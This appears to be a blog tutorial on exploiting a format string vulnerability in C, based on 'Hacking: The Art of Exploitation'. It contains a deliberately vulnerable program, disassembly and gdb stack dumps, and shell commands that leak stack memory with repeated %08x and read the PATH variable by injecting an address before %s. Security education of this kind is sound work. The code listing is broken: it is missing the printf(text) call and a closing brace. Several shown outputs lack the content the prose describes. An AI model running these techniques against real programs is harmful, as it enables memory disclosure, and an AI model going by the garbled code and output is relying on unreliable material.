Exploiting Format Strings II.

Today we are going to continue the discussion of exploiting format strings.

The Idea

The idea is to input the  proper type of command argument to make the printf function do something unintended.  The outcome will depend on how the printf command is used.

The Program

Here is the program from Hacking the Art of Exploitation:

//A program to exploit format strings

int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s \n", argv[0]);

    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");


    //debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);


The difference that should jump out at you is the arguments we are passing the printf function. One uses our parameter %s the other uses the buffer variable name just passed to the function.

We’ve already seen what the printf function looks like in assembly, but when we looked last time we looked at passing the parameters. Lets take a look at what happens when we pass the variable.

21          printf(text);
   0x08048548 <+141>:   sub    esp,0xc
   0x0804854b <+144>:   lea    eax,[ebp-0x408]
   0x08048551 <+150>:   push   eax
   0x08048552 <+151>:   call   0x8048350 <printf@plt>
   0x08048557 <+156>:   add    esp,0x10

Here’s the format string assembly with the proper %s argument to compare with.

18          printf("%s", text);
   0x08048521 <+102>:   sub    esp,0x8
   0x08048524 <+105>:   lea    eax,[ebp-0x408]
   0x0804852a <+111>:   push   eax
   0x0804852b <+112>:   push   0x804866a
   0x08048530 <+117>:   call   0x8048350 <printf@plt>
   0x08048535 <+122>:   add    esp,0x10

We see the only difference is pushing the extra value onto the stack during the %s call.

Running the Exploit

Lets go ahead and run the exploit to see what happens.

$ ./fmt_vuln testing
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x080498cc = -72 0xffffffb8

We see that everything in this case prints out as it should. The way we are going to get the unintended output is by passing our own format string parameters to our function.

$ ./fmt_vuln $(perl -e 'print "%08x."x40')
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x080498cc = -72 0xffffffb8

Here we are using perl to make inputing a lot of values easy again. This is definitely not the output we would have intended if we were wanting to only print the buffer.

Whats Happening?

We have filled the buffer with a control parameter and when we call the buffer as we should it simply shows 40 repetitions of %08x.  When we call the buffer directly without the parameter we get the lower stack information.

Breakpoint 1, main (argc=2, argv=0xbffff274) at fmt_vuln.c:23
23          printf("\n");
(gdb) i r esp ebp eip
esp            0xbfffedc0       0xbfffedc0
ebp            0xbffff1c8       0xbffff1c8
eip            0x804855a        0x804855a <main+159>
(gdb) x/16xw $esp
0xbfffedc0:     0x78383025      0x3830252e      0x30252e78      0x252e7838
0xbfffedd0:     0x2e783830      0x78383025      0x3830252e      0x30252e78
0xbfffede0:     0x252e7838      0x2e783830      0x78383025      0x3830252e
0xbfffedf0:     0x30252e78      0x252e7838      0x2e783830      0x78383025

We can see the base of the stack information in bold in the output above.  So we have successfully displayed the stack information just by passing a carefully constructed argument.

What happens if we use a different parameter in the argument?  We can see where the parameters we pass to the function start reading the string argument as follows.

$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x080498cc = -72 0xffffffb8

Remember that 41 is the ASCII code for A. So we see that the fourth parameter is reading the start of our string of input. Here’s the plan. We are going to pass an address to the %s parameter in the printf function to get our program to read the information at that address. If we would like to know what the PATH variable on our computer is we just need to know what the address is and plug it into our program.

$ ./getenvaddr PATH
PATH is at 0xbffffd33

We have a four bit address for our PATH variable which matches nicely to the example we did before. So we just need to pass the address to the function to see what happens. Remember that our system is little endian so we plug the address in backwards, i.e. least significant byte first.

$ ./fmt_vuln $(printf "\x33\xfd\xff\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x080498cc = -72 0xffffffb8

That’s pretty cool to me.


We have seen one way to exploit a format string vulnerability by showing us information located at a specific address.  There are more useful things we can do with this type of exploit and we will continue discussing it next time.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s